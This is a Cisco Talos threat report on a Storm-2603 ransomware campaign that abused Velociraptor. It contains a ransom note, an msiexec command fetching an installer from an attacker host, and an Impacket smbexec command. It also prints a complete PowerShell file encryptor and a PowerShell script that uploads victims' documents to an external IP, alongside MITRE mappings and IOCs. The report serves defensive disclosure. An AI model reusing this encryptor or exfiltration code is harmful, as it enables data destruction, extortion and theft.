

The logo features a dark blue background with a subtle grid pattern. A yellow spotlight beam originates from the top center and illuminates a yellow oval at the bottom. Inside the oval is a black biohazard symbol. The text "cisco" is in small white letters above "TALOS" in large white letters. Below this, the words "THREAT" and "SPOTLIGHT" are written in large, bold, yellow, sans-serif capital letters, stacked vertically and centered within the spotlight beam.

By [Michael Szeliga](#), [Aliza Johnson](#), [Jaeson Schultz](#)

Threat Spotlight

- Cisco Talos has confirmed that ransomware operators are leveraging [Velociraptor](#), an open-source digital forensics and incident response (DFIR) tool that had not previously been definitively tied to [ransomware incidents](#).
- We assess with moderate confidence that this activity can be attributed to threat actor Storm-2603, based on [overlapping tools and tactics, techniques, and procedures \(TTPs\)](#)
- Talos also observed evidence of Babuk ransomware files on the victim's network, which has not been previously deployed by Storm-2603.

```
How To Remove Your Browser-Side JavaScript
File Edit Format View Help
[redacted] [darkblue Group], a professional hack organization, do regret to inform you that your systems have been successfully infiltrated by us, and your critical data, including sensitive files, databases, and customer information, has been encrypted. Additionally, we have securely backed up portions of your data to ensure the quality of our services.
```

====What happened?====

Your systems have been locked using our advanced encryption technology. You are currently unable to access critical files or continue normal business operations. We possess the decryption key and have backed up your data to ensure its safety.

====If You Choose To Pay:====

Sadly, however, we will provide the decryption key and detailed guidance to restore all your data within hours.
Data deletion: We guarantee the permanent deletion of any backed-up data in our possession after payment, protecting your privacy.
Recovery time: The estimated time will stretch you throughout the recovery process to ensure your systems are fully restored.
Confidentiality: After the transaction, we will maintain strict confidentiality regarding this incident, ensuring no information is disclosed.

====If You Refuse To Pay:====

Permanent Data Loss: Encrypted files will remain inaccessible, leading to business disruptions and potential financial losses.
Data exposure: Any leaked data we have backed up may be publicly released or sold to third parties, severely damaging your reputation and customer trust.
Ongoing Attacks: Your systems may face further attacks, causing even greater harm.

====HOW TO CONTACT US?====

Please reach out through the following secure channels for further instructions(When contacting us, please provide your contact ID):

#CONTACT 1 :
Your decrypt ID: [REDACTED]
Dark web link: [REDACTED]
Your Chat Key: [REDACTED]
Visit our website and log on with all your chat key to contact us. Please note that this website is a dark web website and needs to be accessed using the Tor browser. You can visit the Tor Browser official website (<https://www.torproject.org/>) to download and install them for this browser, and then visit our website.

#CONTACT 2:
If you don't get a reply for a long time, you can also download qtox and add our ID to contact us
Downloadqtox@proton.github.io
or direct Qtox ID: 86A9H1V3P9M9H8L8C5S0AB9QDZCHXGHC7B7512P7Z9S8H8E84F68W648R8Z574728KZ97N6S5

Our team is available 24/7 to provide professional and courteous assistance throughout the payment and recovery process.

Figure 1. Ransomware note.

Velociraptor

Velociraptor is designed for security teams to use for endpoint monitoring by deploying client agents across Windows, Linux and Mac systems to continuously collect data and respond to security events.

Velociraptor played a significant role in this campaign, ensuring the actors maintained stealthy persistent access while deploying LockBit and Babuk ransomware. After gaining initial access the actors installed an outdated version of Velociraptor (version 0.73.4.0) that was exposed to a privilege escalation vulnerability ([CVE-2025-6264](#)) that could lead to arbitrary command execution and endpoint takeover.

Threat actors have also [reportedly leveraged Velociraptor](#) to download and execute Visual Studio Code with the likely intention of creating a tunnel to an attacker-controlled command-and-control (C2) server.

The addition of this tool in the ransomware playbook is in line with findings from Talos' [2024 Year in Review](#), which highlights that threat actors are utilizing an increasing variety of commercial and open-source products.

Attribution to Storm-2603 and ToolShell nexus

Talos assesses with moderate confidence that this activity can be attributed to the group [Storm-2603](#), based on overlapping tools and TTPs. Storm-2603 is a suspected China-based threat actor first identified in July 2025, when they began exploiting the on-premises SharePoint vulnerabilities known as ToolShell.

Similar to the activity Talos observed in this engagement, Storm-2603 is [known for deploying Warlock ransomware and Lockbit ransomware](#) in the same engagement. While LockBit is widely deployed by a variety ransomware actors, Warlock was first advertised in June 2025 and has since been [heavily used by Storm-2603](#). Additionally, it is highly unusual for actors to use two different ransomware variants in the same attack, increasing our confidence that this activity could be related to Storm-2603.

The threat actor in this engagement also mirrored several Storm-2603 TTPs, based on [reporting by Microsoft](#):

- Use of cmd.exe and batch scripts
- Disabling Microsoft Defender protections
- Creating scheduled tasks
- Manipulating Internet Information Services (IIS) components to load suspicious .NET assemblies
- Modifying Group Policy Objects (GPOs)

While Talos was unable to observe how the actor obtained initial access due to limited access to the victim organization's data, both their exposure to the [ToolShell](#) vulnerabilities and our attribution to Storm-2603 increase the likelihood that initial access was gained through ToolShell exploitation.

Campaign overview

The first high-confidence indications of suspicious activity associated with this campaign occurred in mid-August 2025, with attempts to escalate privileges and move laterally within the compromised environment. We observed the threat actor creating admin accounts that synced to Entra ID (formerly Azure Active Directory) via the domain controller. The same actor-controlled admin account also accessed the VMware vSphere console, an interface used to manage and interact with virtual machines (VMs), which could allow for persistent access to the virtual environment.

Notably, the threat actor installed an older version of Velociraptor on multiple servers to maintain persistence using the following command. We observed Velociraptor launching several times even after the host was isolated.

```
msiexec /q /i  
hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi
```

The actors also executed the following command to run Smbexec, a Python script that comes with Impacket and allows an attacker to launch programs remotely using the SMB protocol:

```
%COMSPEC% /Q /c echo cd ^> \\%COMPUTERNAME%\C$\__output 2^>^&l >  
%SYSTEMROOT%\TkTvjYUp.bat & %COMSPEC% /Q /c %SYSTEMROOT%\TkTvjYUp.bat & del  
%SYSTEMROOT%\TkTvjYUp.bat  
C:\Windows\System32\cmd.exe cmd.exe /Q /c cmd /c c:\windows\temp\1.bat /y 1>  
\Windows\Temp\suLGnR 2>&l
```

To impair defenses and evade detection, the actors modified Active Directory (AD) GPOs and:

- Enabled “turn off real-time protection,” which continuously monitors for potential threats such as viruses, malware and spyware
- Disabled “behavior monitoring,” which blocks suspicious activities by observing deviations from established patterns of normal behavior
- Disabled “monitor file and program activity on your computer,” which observes how software behaves to identify patterns associated with malicious activity

The actors deployed a fileless [Powershell script](#) that had an encryption functionality, which we believe was the primary encryptor that deployed mass encryption on the Windows machines:

```
function GER($n) {-join (1..$n|%
{"ABCDEFGHIJKLMNQPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#%^&*()-=+[]
{}|;:'.<>?'~"[(Get-Random -Maximum 74)]})}function err($pl,$sf){$rsa=New-Object
System.Security.Cryptography.RSACryptoServiceProvider;$rsa.FromXmlString($sf);$PB=
[Text.Encoding]::UTF8.GetBytes($pl);$rsa.Encrypt($PB,$false)} function gg($path)
{$ke = GER(32);$sig =GER(16);$sf =
'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS60ev5RVAaQqc6m2pEKN7AYARcpz9iNy5J0B/T+0tWmqxd42bLH+iAUjc1kc
$eec=err -pl $ke+$sig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);$key=
[System.Text.Encoding]::UTF8.GetBytes($ke);$iv=
[System.Text.Encoding]::UTF8.GetBytes($sig);try{$files=gci $path -Recurse -Include
.pdf,.txt,.doc,.docx,.odt,.rtf,.md,.csv,.tsv,.jpg,.jpeg,.tiff,
.mp3,.xls,.xlsx,.ods,.ppt,.pptx,.odp,.py,.java,.cpp,.c,.html,
.css,.js,.php,.swift,.kotlin,.go,.rb,.sh,.sql,.db,.sqlite,
.sqlite3,.mdb,.sql,.zip,.rar,.7z,.tar,.gz,.bz2,.iso,.torrent,
.ini,.json,.xml,.log,.bak,.cfg,.psd,.vmdk | select -Expand FullName;
foreach ($file in $files) { try {EFI $file $key $iv $eee} catch{}} catch {Write-
Host $ } } function EFI($ifi,$key,$iv,$aT) {if($ifi.EndsWith(".xlockxlock",
[System.StringComparison]::OrdinalIgnoreCase)) {return};$aes =
[System.Security.Cryptography.Aes]::Create();$aes.KeySize =
256;$aes.Key=$key;$aes.IV=$iv;try{$yy=New-Object System.IO.FileStream($ifi,
[System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::None);$xx=$aes.CreateEncryptor($aes.Key, $aes.IV);$mm =
New-Object System.Security.Cryptography.CryptoStream($yy, $xx,
[System.Security.Cryptography.CryptoStreamMode]::Write); $yy.Seek(0,
[System.IO.SeekOrigin]::Begin) | Out-Null; $jj = New-Object byte[] ($yy.Length);
$yy.Read($jj, 0, $jj.Length) | Out-Null; $yy.Seek(0, [System.IO.SeekOrigin]::Begin)
| Out-Null; $mm.Write($jj, 0, $jj.Length); $mm.FlushFinalBlock(); $se = 1 } catch {
Write-Error $_ } finally {if ($mm) { $mm.Dispose() } if ($yy) { $yy.Dispose() } }try
{$kk = [System.Text.Encoding]::UTF8.GetBytes($aT);$bb = New-Object
System.IO.FileStream($ifi,[System.IO.FileMode]::Append,
[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);if ($se){$bb.Write($kk,
0, $kk.Length)}} catch {Write-Error $_} finally {if ($bb) { $bb.Dispose();if ($se)
{ren $ifi -NewName $ifi".xlockxlock";}}};$vg =gdr -PS FileSystem | select -Expand
Root;foreach ($II in $vg) {gg -path "$II"}
```

After the script was deployed, Talos observed ransomware executables on Windows machines that were identified by EDR solutions as LockBit, and encrypted files with the Warlock extension “xlockxlock”. There was also a Linux binary on ESXi servers flagged as the Babuk encryptor, which achieved only partial encryption and appended files with “.babyk”. Storm-2603 has not previously leveraged Babuk ransomware, based on public reporting.

The actors also conducted double extortion, exfiltrating data using the below PowerShell script. To evade detection, the exfiltration script shows that “\$ProgressPreference” is set to “SilentlyContinue”, which suppresses any visual indication of the command’s progress. It also includes the “start-sleep” cmdlet, which suspends the script for a specified period of time. This cmdlet can be used to inhibit analysis, as many malware analysis tools, such as sandboxes, have a limited time window, and used to avoid triggering security alerts that might identify rapid, continuous script activity.

```
function GR {$numbers = 1..20;$numbers | Get-Random }
function Upfile {
    param (
        [string]$path = "C:\Users\",
        [int]$maxConcurrentJobs = 40 #
    )
}
```

```

Add-Type -AssemblyName System.Web
try {
    $files = Get-ChildItem -Path $path -Recurse -Include
*.doc,*.docx,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue |
        Where-Object { $_.Length -lt 50MB } |
        Select-Object -ExpandProperty FullName
    $uploadScriptBlock = {
        param ($file, $grValue)
        try {
            Add-Type -AssemblyName System.Web
            $fileName = Split-Path -Path $file -Leaf
            $encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName)
            $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName"
            Write-Host "upload $file to $uploadUrl"
            $ProgressPreference = 'SilentlyContinue'
            $maxRetries = 3;$retryCount = 0
            while ($retryCount -lt $maxRetries) {
                try {
                    $wc = New-Object System.Net.WebClient;$wc.UploadFile($uploadUrl, "PUT", $file) |
                    Out-Null
                    Write-Host "upload Success $fileName"
                    break
                }
                catch {
                    $retryCount++
                    Write-Host "upload $fileName retry $retryCount error: $_"
                    Start-Sleep -Seconds 2
                }
                finally {$wc.Dispose()}}
            }
            catch {
                Write-Host "upload $fileName error: $_"
                finally {$wc.Dispose()}
            }
        }
        $grValue = GR
        $jobs = @()
        foreach ($file in $files) {
            while ((Get-Job -State Running).Count -ge $maxConcurrentJobs) {Start-
            Sleep -Milliseconds 100}
            $jobs += Start-Job -ScriptBlock $uploadScriptBlock -ArgumentList $file,
            $grValue
        }
        $jobs | Wait-Job | ForEach-Object {
            Receive-Job -Job $_ -Keep
            Remove-Job -Job $_
        }
    } catch {
        Write-Host "getfile error: $_"
    }
}
$drives = @("C:\Users\", "D:\", "E:\", "F:\", "K:\")
foreach ($drive in $drives) {
    if (Test-Path $drive) {Upfile -Path $drive }
    else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow}
}

```

Mitigation recommendations

Please see Talos' [Ransomware Primer](#) for detailed recommendations on how to safeguard against ransomware threats. We also recommend referring to Talos' [blog](#) on ToolShell for information on these vulnerabilities and how to

patch them. Additionally, Rapid7 has published some recommendations on [detecting velociraptor misuse](#).

MITRE ATT&CK techniques

Resource Development

- T1584.003 Compromise Infrastructure: Virtual Private Server

Execution

- T1059.001 PowerShell

Persistence

- T1136 Create Account
- T1505.006 Server Software Component: vSphere Installation Bundles

Privilege Escalation

- T1098.007 Account Manipulation: Additional Local or Domain Groups
- T1098 Account Manipulation

Defense Evasion

- T1556 Modify Authentication Process
- T1484.001 Domain or Tenant Policy Modification: Group Policy Modification

Lateral Movement

- T1021.001 Remote Services: Remote Desktop Protocol

Collection

- T1213 Data from Information Repositories

Exfiltration

- T1041 Exfiltration Over C2 Channel

Impact

- T1486 Data Encrypted for Impact
- T1657 Financial Theft

Coverage

Extended Detection and Response: Cisco XDR	Multi-Factor Authentication: Cisco Duo	Endpoint: Cisco Secure Endpoint
✓	N/A	✓
Email: Cisco Secure Email Threat Defense	Network security: Cisco Secure Firewall	Multi-Cloud Security: Cisco MultiCloud Defense
N/A	✓	N/A
Secure Internet Gateway: Cisco Umbrella	Analytics: Cisco Secure Network Analytics	Security Service Edge (SSE): Cisco Secure Access
✓	N/A	N/A

[Cisco Secure Endpoint](#) (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free [here](#).

[Cisco Secure Email](#) (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free [here](#).

[Cisco Secure Firewall](#) (formerly Next-Generation Firewall and Firepower NGFW) appliances such as [Threat Defense Virtual](#), [Adaptive Security Appliance](#) and [Meraki MX](#) can detect malicious activity associated with this threat.

[Cisco Secure Network/Cloud Analytics](#) (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

[Cisco Secure Malware Analytics](#) (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

[Cisco Secure Access](#) is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

[Umbrella](#), Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

[Cisco Secure Web Appliance](#) (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the [Firewall Management Center](#).

[Cisco Duo](#) provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on [Snort.org](#).

The following ClamAV cover this threat:

Win.Ransomware.Warlock-10057029-0

IOCs

IOCs for this research can also be found at our GitHub repository [here](#).

C2/exfiltration IP address:

65.38.[121][.]226

Domain hosting malicious MSI:

stoaccinfoniqaveeambkp.blob.core.windows[.]net

Velociraptor C2 server:

velo.qaubctgg.workers[.]dev

Velociraptor: Legitimate tool used by the adversary for persistence

Velociraptor installer – 649BDAA38E60EDE6D140BD54CA5412F1091186A803D3905465219053393F6421

Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD56BBDFDDB39595B43112F9FB7

Malicious Velociraptor config.yaml -

A29125333AD72138D299CC9EF09718DDB417C3485F6B8FE05BA88A08BB0E5023

Internal Monologue NTLM downgrade malware:

In.exe- C74897B1E986E2876873ABB3B5069BF1B103667F7F0E6B4581FBDA3FD647A74A